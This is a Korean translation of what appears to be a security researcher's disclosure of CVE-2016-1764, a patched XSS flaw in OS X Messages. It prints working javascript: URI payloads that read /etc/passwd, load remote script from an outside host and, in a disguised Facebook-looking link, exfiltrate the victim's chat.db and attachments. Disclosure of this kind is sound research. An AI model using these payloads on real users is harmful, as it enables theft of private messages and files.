
XSS를 통한 iMessage 데이터 추출

공급업체: Apple
공개 날짜: 2016년 4월 8일
패치 날짜: 2016년 3월 21일
영향을 받는 시스템: OS X Mountain Yosemite, El Capitan의 Messages
최근 Apple에 대한 논쟁의 대부분이 암호화에 집중되어 있는 동안, 업계와 법 집행 기관은 더 단순한 애플리케이션 수준의 취약점을 활용하면 암호화를 완전히 우회할 수 있다는 사실을 잊고 있는 것처럼 보입니다. Apple이 2016년 3월에 패치한 CVE-2016-1764는 OS X iMessage 클라이언트를 악용하여 모든 메시지 콘텐츠와 첨부 파일을 평문으로 원격 노출시키는 애플리케이션 계층 버그입니다. 게다가 이 취약점을 악용하는 데 수학 석사 학위가 필요하지 않으며, 메모리 관리, 셸코드, 정교한 ASLR 우회 ROP 체인에 대한 상세한 지식도 필요하지 않습니다. 사실 이것은 기본적인 JavaScript 지식만 있으면 누구나 악용할 수 있는 비교적 단순한 버그입니다.
Apple의 OS X용 Messages(iMessage)는 임베디드 버전의 WebKit을 사용하여 사용자 인터페이스를 구현하며, 또한 OS X의 Messages는 모든 URI를 클릭 가능한 HTML <a href= 링크로 렌더링합니다. 공격자는 간단한 JavaScript URI(예: javascript:)를 만들어 클릭 시 애플리케이션 DOM 컨텍스트에서 초기 JavaScript 실행(XSS)을 얻을 수 있습니다. OS X용 Messages가 사용하는 임베디드 WebKit 라이브러리는 applewebdata:// 오리진에서 실행되지만, 동일 출처 정책(SOP)이 구현되어 있지 않기 때문에 공격자는 file:// URI에 대한 XMLHttpRequest(XHR) GET 요청을 사용하여 임의의 파일을 읽을 수 있습니다. XHR을 남용하여 파일을 읽음으로써 공격자는 피해자의 전체 채팅 기록과 첨부 파일을 피해자의 인터넷 연결 속도가 허용하는 한 빠르게 원격 서버에 업로드할 수 있습니다. 필요한 사용자 상호작용은 채팅에서 링크 하나를 클릭하는 것뿐입니다. 또한 SMS 전달이 활성화된 경우 공격자는 피해자의 iPhone에서 주고받은 메시지도 복구할 수 있습니다.
모든 자세한 내용을 알고 싶다면 계속 읽어보세요.
OS X용 Messages는 사용자 인터페이스의 많은 부분에 임베디드 버전의 WebKit을 사용합니다. 메시지가 애플리케이션에서 전송되거나 수신되면 UI와 전송된 첨부 파일/미디어 콘텐츠를 렌더링하기 위해 HTML이 DOM에 삽입됩니다. 애플리케이션을 통해 전송된 모든 메시지는 DOM에서 렌더링되므로 일반적인 클라이언트 측 웹 취약점이 애플리케이션에 영향을 미칠 수 있습니다.
OS X용 Messages 클라이언트를 테스트할 때 임의의 프로토콜 스킴이 자동으로 링크로 변환되어 DOM에 삽입된다는 사실을 발견했습니다. 예를 들어 아래의 URI들은 메시지로 전송될 때 모두 WebView에 링크로 삽입됩니다:
test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter
OS X용 Messages는 허용된 프로토콜의 화이트리스트를 구현하지 않으므로, 공격자는 javascript: JavaScript URI가 포함된 메시지를 피해자에게 보낼 수 있으며, 이는 피해자의 머신에서 클릭 가능한 링크로 변환됩니다.
클릭하면 임베디드 WebKit이 현재 오리진에서 공격자가 제어하는 JavaScript를 충실히 실행합니다. 예를 들어:

여기서 %0a(즉, \n)는 JavaScript 주석 //을 이스케이프하는 데 사용됩니다. 이는 파서의 링크 패턴과 일치시키는 데 필요합니다. 코드가 해석되면 다음과 같은 형태가 됩니다:
//bishopfox.com/research?
prompt(1)
이 링크를 클릭하면 OS X용 Messages 내에서 JavaScript 프롬프트가 트리거됩니다:

그러나 OS X용 Messages는 웹사이트가 아니라 데스크톱 애플리케이션입니다. 따라서 JavaScript는 applewebdata:// 오리진의 컨텍스트에서 실행됩니다:

그러나 공격자의 코드는 완전한 WebKit 구현에서 실행되므로 런타임에 XMLHttpRequest를 사용할 수 있습니다. 임베디드 버전의 WebKit과 Chrome이나 Safari 같은 웹 브라우저의 주요 차이점 중 하나는 임베디드 버전이 네이티브 데스크톱 애플리케이션이기 때문에 동일 출처 정책(SOP)을 구현하지 않는다는 것입니다. 공격자는 이를 이용하여 file:// URI에 XMLHttpRequest GET을 전송함으로써 동일 출처 정책을 위반하지 않고 로컬 파일 시스템에서 파일을 읽을 수 있습니다. 유일한 요구 사항은 공격자가 전체 파일 경로를 알고 있어야 한다는 것입니다. 상대 파일 시스템 경로(예: ~/.ssh/id_rsa)는 사용할 수 없습니다.
예를 들어, 다음 JavaScript는 Messages 애플리케이션 DOM에서 실행되어 /etc/passwd 파일을 읽을 수 있습니다:
function reqListener () {
prompt(this.responseText);
// send back to attackers server here
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();
URI 페이로드로 변환되면 코드는 다음과 같이 표시됩니다:
javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B
Messages 애플리케이션에서 클릭하면 다음 프롬프트가 나타납니다:

위의 벡터는 상당히 길고 지나치게 의심스러워 보이므로, 도메인에서 JavaScript를 동적으로 로드하여 DOM에 포함시킴으로써 URI를 단축할 수 있습니다. 예를 들어, 아래의 벡터는 http://example.com/1.js의 JavaScript를 Messages의 DOM에 주입합니다:
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
위 벡터에서 참조된 //example.com/1.js JavaScript 파일에는 임의의 길이로 된 임의의 JavaScript 명령이 포함될 수 있습니다.
그러나 OS X 애플리케이션 샌드박스는 파일 시스템 액세스를 ~/Library/Messages/* 및 /etc/와 같은 일부 다른 비사용자 시스템 디렉터리로만 제한했습니다.
OS X의 Messages가 메시지와 첨부 파일을 수신하면 다음 디렉터리에 저장됩니다:
/Users/<username>/Library/Messages/*
이 메시지들의 텍스트 콘텐츠와 기타 메타데이터는 다음 위치의 SQLite 데이터베이스에 저장됩니다:
/Users/<username>/Library/Messages/chat.db
이 데이터베이스에는 사용자 머신에 있는 모든 첨부 파일의 위치도 포함되어 있습니다.
이 데이터베이스를 탈취하고 결과적으로 피해자가 주고받은 모든 첨부 파일을 탈취하려면 더 정교한 공격 페이로드가 필요합니다.
공격자가 데이터를 성공적으로 유출하려면 먼저 다음 단계를 수행해야 합니다:
~는 사용할 수 없습니다).chat.db 파일의 전체 경로, 즉 /Users/ExampleUser/Library/Messages/chat.db를 생성합니다.XMLHttpRequest를 사용하여 chat.db 데이터베이스를 읽고 첨부 파일의 파일 경로를 쿼리합니다.XMLHttpRequest를 사용하여 데이터베이스와 모든 첨부 파일을 업로드하거나, 실시간 액세스를 원한다면 WebSockets를 사용합니다.현재 로그인한 사용자는 /Library/Preferences/com.apple.loginwindow.plist를 요청한 후 구문 분석하여 확인할 수 있습니다. 이 파일은 OS X 애플리케이션 샌드박스 내에서 편리하게 읽을 수 있습니다. 여기에서 사용자의 chat.db 전체 경로를 구성하는 것은 간단합니다.
데이터베이스 파일이 성공적으로 유출되면, 데이터베이스의 attachments 테이블에 있는 피해자가 주고받은 첨부 파일의 전체 경로를 추출하는 사용자 지정 서버 측 스크립트에 전달할 수 있습니다.
이 전체 경로는 악성 JavaScript 페이로드에 의해 검색된 후 XMLHttpRequest를 통해 피해자의 머신에서 첨부 파일을 유출하는 데 사용됩니다.
다음으로 공격자는 URL을 좀 더 그럴듯하게 보이도록 약간의 난독화를 수행합니다:
javascript://www.facebook.com/photo.php?fbid=111789595853599&set=a.111055039260388.1073741826.100010676767694&type=3&theater%0A%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fyourhostname%3A8888%2ff%2fpayload.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
피해자가 OS X용 Messages 애플리케이션에서 위 URI를 클릭하면 피해자의 전체 채팅 기록과 관련된 모든 첨부 파일이 공격자에게 전송됩니다.
JavaScript는 어디에나 있다
웹 애플리케이션 보안 결함은 더 이상 브라우저에만 국한되지 않고 네이티브 애플리케이션에도 침투했습니다. 개발자가 WebKit이나 그보다 훨씬 위험한 친척인 nw.js 같은 웹 기술을 사용하여 데스크톱 애플리케이션을 구축하는 것은 생산적일 수 있지만, 웹 애플리케이션 보안 모범 사례는 여전히 준수해야 합니다.